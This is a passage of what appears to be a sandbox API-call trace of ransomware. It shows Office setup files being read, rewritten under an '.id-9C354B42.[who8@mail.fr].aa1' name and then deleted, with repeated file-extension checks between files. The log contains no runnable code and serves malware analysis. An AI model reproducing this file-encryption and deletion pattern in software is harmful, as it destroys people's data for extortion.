lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0207.923] GetLastError () returned 0x0 [0207.923] ReadFile (in: hFile=0x1dc, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0207.987] WriteFile (in: hFile=0x1f4, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x900, lpOverlapped=0x0) returned 1 [0207.989] ReadFile (in: hFile=0x1dc, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0207.989] WriteFile (in: hFile=0x1f4, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0207.989] SetEndOfFile (hFile=0x1f4) returned 1 [0207.989] CloseHandle (hObject=0x1f4) returned 1 [0207.991] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.991] SetEndOfFile (hFile=0x1dc) returned 1 [0207.992] CloseHandle (hObject=0x1dc) returned 1 [0207.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0207.993] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0207.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0207.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0207.993] lstrlenW (lpString=".doc") returned 4 [0207.993] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0207.993] lstrlenW (lpString=".docx") returned 5 [0207.993] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0207.993] lstrlenW (lpString=".pdf") returned 4 [0207.994] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0207.994] lstrlenW (lpString=".xls") returned 4 [0207.994] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0207.994] lstrlenW (lpString=".xlsx") returned 5 [0207.994] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0207.994] lstrlenW (lpString=".ppt") returned 4 [0207.994] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0207.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0207.994] lstrlenW (lpString=".zip") returned 4 [0207.994] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0207.994] lstrlenW (lpString=".rar") returned 4 [0207.994] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0207.994] lstrlenW (lpString=".bz2") returned 4 [0207.994] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0207.994] lstrlenW (lpString=".7z") returned 3 [0207.994] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0207.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0207.994] lstrlenW (lpString=".dbf") returned 4 [0207.994] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0207.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0207.994] lstrlenW (lpString=".1cd") returned 4 [0207.994] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0207.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0207.994] lstrlenW (lpString=".jpg") returned 4 [0207.994] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0207.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0207.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0207.995] lstrlenW (lpString=".doc") returned 4 [0207.995] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0207.995] lstrlenW (lpString=".docx") returned 5 [0207.995] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0207.995] lstrlenW (lpString=".pdf") returned 4 [0207.995] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0207.995] lstrlenW (lpString=".xls") returned 4 [0207.995] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0207.995] lstrlenW (lpString=".xlsx") returned 5 [0207.995] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0207.995] lstrlenW (lpString=".ppt") returned 4 [0207.995] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0207.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0207.995] lstrlenW (lpString=".zip") returned 4 [0207.995] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0207.995] lstrlenW (lpString=".rar") returned 4 [0207.995] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0207.995] lstrlenW (lpString=".bz2") returned 4 [0207.995] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0207.995] lstrlenW (lpString=".7z") returned 3 [0207.995] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0207.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0207.995] lstrlenW (lpString=".dbf") returned 4 [0207.996] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0207.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0207.996] lstrlenW (lpString=".1cd") returned 4 [0207.996] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0207.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0207.996] lstrlenW (lpString=".jpg") returned 4 [0207.996] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0207.996] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0207.996] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0207.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0207.996] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1231) returned 1 [0207.997] CloseHandle (hObject=0x1dc) returned 1 [0207.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0207.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0207.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0207.997] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.997] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0208.142] GetLastError () returned 0x0 [0208.142] ReadFile (in: hFile=0x1dc, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0208.234] WriteFile (in: hFile=0x1f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0208.235] ReadFile (in: hFile=0x1dc, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0208.235] WriteFile (in: hFile=0x1f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0208.236] SetEndOfFile (hFile=0x1f8) returned 1 [0208.236] CloseHandle (hObject=0x1f8) returned 1 [0208.241] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.241] SetEndOfFile (hFile=0x1dc) returned 1 [0208.243] CloseHandle (hObject=0x1dc) returned 1 [0208.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0208.243] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0208.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0208.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0208.244] lstrlenW (lpString=".doc") returned 4 [0208.244] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0208.244] lstrlenW (lpString=".docx") returned 5 [0208.244] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0208.244] lstrlenW (lpString=".pdf") returned 4 [0208.244] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0208.244] lstrlenW (lpString=".xls") returned 4 [0208.244] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0208.244] lstrlenW (lpString=".xlsx") returned 5 [0208.244] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0208.244] lstrlenW (lpString=".ppt") returned 4 [0208.244] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0208.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0208.244] lstrlenW (lpString=".zip") returned 4 [0208.244] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0208.244] lstrlenW (lpString=".rar") returned 4 [0208.244] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0208.244] lstrlenW (lpString=".bz2") returned 4 [0208.244] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0208.244] lstrlenW (lpString=".7z") returned 3 [0208.245] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0208.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0208.245] lstrlenW (lpString=".dbf") returned 4 [0208.245] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0208.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0208.245] lstrlenW (lpString=".1cd") returned 4 [0208.245] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0208.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0208.245] lstrlenW (lpString=".jpg") returned 4 [0208.245] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0208.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0208.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0208.245] lstrlenW (lpString=".doc") returned 4 [0208.245] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0208.245] lstrlenW (lpString=".docx") returned 5 [0208.245] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0208.245] lstrlenW (lpString=".pdf") returned 4 [0208.245] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0208.245] lstrlenW (lpString=".xls") returned 4 [0208.245] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0208.245] lstrlenW (lpString=".xlsx") returned 5 [0208.245] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0208.245] lstrlenW (lpString=".ppt") returned 4 [0208.245] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0208.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0208.245] lstrlenW (lpString=".zip") returned 4 [0208.245] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0208.246] lstrlenW (lpString=".rar") returned 4 [0208.246] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0208.246] lstrlenW (lpString=".bz2") returned 4 [0208.246] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0208.246] lstrlenW (lpString=".7z") returned 3 [0208.249] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0208.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0208.249] lstrlenW (lpString=".dbf") returned 4 [0208.249] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0208.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0208.249] lstrlenW (lpString=".1cd") returned 4 [0208.249] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0208.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0208.249] lstrlenW (lpString=".jpg") returned 4 [0208.249] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0208.250] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0208.251] lstrlenW (lpString="SETUP.XML") returned 9 [0208.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0208.251] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1852) returned 1 [0208.251] CloseHandle (hObject=0x1dc) returned 1 [0208.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0208.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0208.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0208.252] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.252] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0208.253] GetLastError () returned 0x0 [0208.253] ReadFile (in: hFile=0x1dc, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x73c, lpOverlapped=0x0) returned 1 [0208.554] WriteFile (in: hFile=0x1f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x740, lpOverlapped=0x0) returned 1 [0208.555] ReadFile (in: hFile=0x1dc, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0208.555] WriteFile (in: hFile=0x1f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0208.556] SetEndOfFile (hFile=0x1f8) returned 1 [0208.556] CloseHandle (hObject=0x1f8) returned 1 [0208.569] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.569] SetEndOfFile (hFile=0x1dc) returned 1 [0208.999] CloseHandle (hObject=0x1dc) returned 1 [0208.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0208.999] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0208.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0208.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0208.999] lstrlenW (lpString=".doc") returned 4 [0208.999] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0208.999] lstrlenW (lpString=".docx") returned 5 [0208.999] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0208.999] lstrlenW (lpString=".pdf") returned 4 [0208.999] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.000] lstrlenW (lpString=".xls") returned 4 [0209.000] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.000] lstrlenW (lpString=".xlsx") returned 5 [0209.000] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0209.000] lstrlenW (lpString=".ppt") returned 4 [0209.000] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0209.000] lstrlenW (lpString=".zip") returned 4 [0209.000] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.000] lstrlenW (lpString=".rar") returned 4 [0209.000] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.000] lstrlenW (lpString=".bz2") returned 4 [0209.000] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.000] lstrlenW (lpString=".7z") returned 3 [0209.000] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0209.000] lstrlenW (lpString=".dbf") returned 4 [0209.000] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0209.000] lstrlenW (lpString=".1cd") returned 4 [0209.000] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0209.000] lstrlenW (lpString=".jpg") returned 4 [0209.000] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0209.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0209.000] lstrlenW (lpString=".doc") returned 4 [0209.000] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.000] lstrlenW (lpString=".docx") returned 5 [0209.000] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0209.000] lstrlenW (lpString=".pdf") returned 4 [0209.000] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.000] lstrlenW (lpString=".xls") returned 4 [0209.001] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.001] lstrlenW (lpString=".xlsx") returned 5 [0209.001] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0209.001] lstrlenW (lpString=".ppt") returned 4 [0209.001] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0209.001] lstrlenW (lpString=".zip") returned 4 [0209.001] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.001] lstrlenW (lpString=".rar") returned 4 [0209.001] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.001] lstrlenW (lpString=".bz2") returned 4 [0209.001] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.001] lstrlenW (lpString=".7z") returned 3 [0209.001] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0209.001] lstrlenW (lpString=".dbf") returned 4 [0209.001] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0209.001] lstrlenW (lpString=".1cd") returned 4 [0209.001] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0209.001] lstrlenW (lpString=".jpg") returned 4 [0209.001] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.001] lstrcmpiW (lpString1=".CHM", lpString2=".aa1") returned 1 [0209.001] lstrlenW (lpString="SETUP.CHM") returned 9 [0209.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0209.340] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=67190) returned 1 [0209.341] CloseHandle (hObject=0x1e4) returned 1 [0209.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 